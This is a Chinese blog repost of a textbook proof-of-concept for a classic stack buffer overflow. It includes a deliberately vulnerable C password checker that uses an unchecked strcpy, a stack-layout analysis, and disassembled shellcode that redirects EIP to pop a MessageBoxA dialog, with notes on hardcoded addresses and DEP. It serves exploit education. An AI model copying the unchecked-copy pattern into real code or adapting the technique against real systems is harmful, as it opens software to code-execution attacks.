概述
代码:
/*****************************************************************************
To be the apostrophe which changed "Impossible" into "I'm possible"!
POC code of chapter 2.4 in book "Vulnerability Exploit and Analysis Technique"
file name : stack_overflow_exec.c
author : failwest
date : 2006.10.1
description : demo show how to redirect EIP to executed extra binary code in buffer
Noticed : should be complied with VC6.0 and build into debug version
the address of MessageboxA and the start of machine code in buffer
have to be make sure in file "password.txt" via runtime debugging
version : 1.0
E-mail : failwest@gmail.com
Only for educational purposes enjoy the fun from exploiting :)
******************************************************************************/
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!n");
}
else
{
printf("Congratulation! You have passed the verification!n");
}
fclose(fp);
}
分析一下栈结构
44字节的char
4字节的authenticated
原栈帧ebp
返回地址
我们把shellcode写到前48字节处 返回地址填写我们shellcode的入口
shellcode的目标是通过messagebox 弹出一个对话框
0:000> u 0012fab8 0012faea
0012fab8 33db xor ebx,ebx
0012faba 53 push ebx
0012fabb 6877657374 push 74736577h
0012fac0 686661696c push 6C696166h
0012fac5 8bc4 mov eax,esp
0012fac7 53 push ebx
0012fac8 50 push eax
0012fac9 50 push eax
0012faca 53 push ebx
0012facb b811eaa975 mov eax,offset user32!MessageBoxA (75a9ea11)
0012fad0 ffd0 call eax
其实这句话就是
MessageBoxA(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType);
messageboxA 栈如下:
0012fad4 00000000
0012fad8 0012fae4
0012fadc 0012fae4
0012fae0 00000000
0:000> da 0012fae4
0012fae4 "failwest"
所以实际代码为
MessageBoxA(0,"failwest","failwest",0);
不过这段代码要确定MessageBoxA的地址 以及确定shellcode入口位置。。不具备通用性。
之后程序就会由于失去了栈平衡,指向了错误的位置,从而崩溃。
不过这里有个问题,代码写在了栈上,但是栈上的代码是不可执行的,这里为什么就可以执行了呢。
后记: 这里应该是没有开启DEP保护、如果开启DEP保护的话,就不能执行了。
最后
以上就是魁梧蛋挞为你收集整理的2_4_overflow_code_exec的全部内容,希望文章能够帮你解决2_4_overflow_code_exec所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复